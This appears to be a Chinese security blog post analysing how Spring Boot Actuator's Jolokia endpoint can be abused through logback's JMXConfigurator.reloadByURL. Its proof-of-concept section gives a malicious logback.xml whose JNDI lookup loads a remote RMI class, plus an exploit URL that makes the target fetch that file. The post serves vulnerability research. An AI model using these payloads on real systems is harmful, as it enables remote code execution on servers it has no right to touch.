作者:Lucifaer
博客:https://www.lucifaer.com

前段時間看到twitter上有國外的研究人員Exploiting Spring Boot Actuators這篇文章,打算跟著這篇文章學習一下。作者已經提供了一個簡單的demo用于大家調試。這篇是對ch.qos.logback.classic.jmx.JMXConfigurator這個利用點的分析,之后還會對rr找到的另外一個利用點進行分析。

0x01 什么是Spring Boot Actuator

Actuators(翻譯過來應該叫做執行器,但是個人感覺意思并不準確)是Spring Boot簡化Spring開發過程中所提出的四個主要特性中的一個特性,它為Spring Boot應用添加了一定的管理特性,可以說類似于一個“監控器”一樣的東西。Spring Boot Actuator給Spring Boot帶來了很多有用的特性:

  • 管理端點
  • 獲取應用信息的”/info”端點
  • 合理的異常處理以及默認的”/error”映射端點
  • 當啟用Spring Security時,會有一個審計事件框架。

在這些特性中最有用的且最有意思的特性是管理端點,所有的管理節點都可以在org.springframework.boot.actuate.endpoint中找到。

在Spring Boot 1-1.4版本,這些端點都是可以直接訪問的,不需要認證。在Spring Boot 1.5版本后除了/health/info這兩個端點,其他的端點都被默認的當做是敏感且安全的端點,但是開發人員經常會禁用此安全性,從而產生安全威脅。

0x02 Jolokia端點的大致運行流程

我們都知道Jolokia是一個用來訪問遠程JMX MBeans的方法,它允許對所有已經注冊的MBean進行Http訪問。接下來直接看一下JolokiaMvcEndpoint這個端點的具體實現。

img

可以看到直接可以通過/jolokia來訪問到該端點,handle方法用來處理請求:

img

可以跟一下路由處理流程,最后在org.jolokia.http.HttpRequestHandler#handleGetRequest這里處理get請求:

img

可以看到紅框中通過JmxRequestFactory工廠函數來創建了一個JmxRequest類,之后執行這個類。在創建這個類的時候回根據get請求的路由來指定具體執行什么樣的功能,也就是說請求的參數通過創建不同的JmxRequest類來實現不同的方法,那么我們只需要看一下JmxRequest的繼承關系,看看它有什么繼承類就能大致的知道它具備什么樣的功能:

img

在繼承類中我們發現存在JmxWriteRequestJmxExecRequest這兩個從名字來說讓我們很興奮的子類,我們知道/jolokia/list所執行的是JmxListRequest這個子類的功能,類比一下,/jolakia/exec就可以執行JmxExecRequest這個子類的功能。我們首先來具體看一下這個JmxExecRequest子類:

img

在翻閱代碼的過程中我注意到了這里,如果你自己跟了一下JmxRequest的創建過程的話,就知道首先是根據將請求的路由進行解析,將/之后的第一個字符串作為類別在CREATOR_MAP中查找是否存在該類別,如果存在則調用newCreate方法創建JmxRequest。下圖為CREATOR_MAP

img

知道了JmxRequest的創建過程后,我們來看看它怎么用,這個時候需要跟進一下executeRequest方法。

img

img

遍歷調度器,如果找到相應的調度器則調用調度器:

img

img

img

這里轉交調度器中相應的請求處理方法來處理:

img

img

可以看到這里存在invoke方法最終會執行我們指定的類中的指定的方法,而指定的類以及指定的方法都是可以通過路由參數來設置的。那么這里是否可以隨便設置一個類呢?如果你跟了一遍這個流程的話,你會發現這里你所指定的類是從MBeanServer中來尋找的,當找不到你所設置的類的話,會拋出異常:

img

img

所以也就是說必須要從/jolokia/list所展示的MBean中去尋找可以調用的類及方法。

0x03 構造請求路由

可以看到所有我們可控點都是通過構造合理的請求完成的,那么如果想要完成攻擊的話,就必須知道如何構造合理的請求。

回到handleGetRequest這個方法中,我們現在需要仔細來研究一下它是如何把路由變成格式化的參數的,主要關注這兩個部分:

img

這里面有很多正則解析的部分,我比較懶就下斷點調了2333….

在動態調之前我們看一下JmxExecRequest的數據結構是什么樣的:

img

注意看這段注釋,這里會傳入四個參數其中有兩個參數是不能為空的:

  • pObjectName:要執行操作的MBean的名稱,不能為空
  • pOperation:要執行操作的名稱(方法的名稱),不能為空
  • pArguments:用于執行請求的參數,可以為空
  • pParams:用于處理請求的可選參數

知道了數據結構,我們來看看具體的解析過程。

具體的解析過程在JmxRequestFactory這個工廠類中:

img

extractElementsFromPath方法中完成了以/分割路由請求,并對路由進行處理的,其中最為重要的點在split方法中:

img

img

img

解析過程中最為重要的點在于兩個正則表表達式:

  • (.*?)(?:(?<!!)((?:!.)*)/|$)
  • !(.)

這里利用Pattern.matcher的正則表達式分組支持的特性,可以為正則表達式提供多次匹配的支持。這里的可以看到當處理的路由中存在1!/2這樣的情況時,可以保留/

img

然后以此類推將路由以/分組,將每個組中的參數保存到一個ArrayList中,之后對這個數組進行校驗,這里將數組中的第一個元素當做是type,在(R) getCreator(type)根據此typeCREATOR_MAP中查找是否存在此方法:

img

存在的話則調用相應的newCreator方法動態創建一個JmxRequest對象。這里是JmxExecRequest

img

可以看到這里將pStack的棧頂移除并將其依次設置成pObjectNamepOperation。分析到這里我們只需要指定這樣的路由就可以調用我們想要調用的類和方法了:

jolokia/exec/class_name/function_name/params

0x04 尋找可以利用的點

根據上面兩節的內容,我們現在可以控制/exec端點執行我們想讓其執行的類中的方法,但是前提是這個類和方法必須在/list節點中存在。文章中說了一個ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator這個類,跟進看一下:

img

JMXConfigurator這個類中發現存在一個reloadByURL方法,那是不是可以從遠程加載一個新的配置文件從而造成RCE呢?感覺是有搞頭的。那就著重看一下這個reloadByURL方法。

img

img

獲取輸入流,并作為參數執行doConfigure方法:

img

繼續跟進:

img

img

這里開始解析xml文件,看一下是否有防護:

img

沒有任何防護。也就是說這里是可以引入外部資源,同時解析xml文檔的,那么這里起碼就有一個ssrf,和一個沒有回顯的xxe。那么看一下這個所謂的JMX配置文件也就是logback.xml有沒有什么可以搞的東西。在logbacks.xml中有這么一個標簽:

img

這里把env-entry-name改為自己的服務器地址就能在目標機上執行任意代碼。

0x05 poc構造

漏洞分析的話上面的一個章節已經說得非常清楚了,下面我們來探討以下如何利用這個漏洞,如果想要利用該漏洞的話需要準備以下幾個必備條件:

  1. 一個N/D服務(RMI或者LDAP皆可)
  2. 綁定在N/D服務上的惡意類
  3. 一個惡意的logback.xml
  4. 構造一個惡意請求

N/D服務以及惡意類綁定就不過多敘述了,可以看16年bh的演講,惡意的logback.xml可以構造如下:

<configuration>
    <insertFromJNDI env-entry-name="rmi://127.0.0.1:2000/Exploit" as="appName" />
    <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
        <withJansi>true</withJansi>
        <encoder>
            <pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>
        </encoder>
    </appender>
    <root level="info">
        <appender-ref ref="STDOUT" />
    </root>
    <jmxConfigurator/>
</configuration>

請求的話可以構造如下:

http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:9998!/logback.xml

效果如下:

img

0x06 Reference


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/850/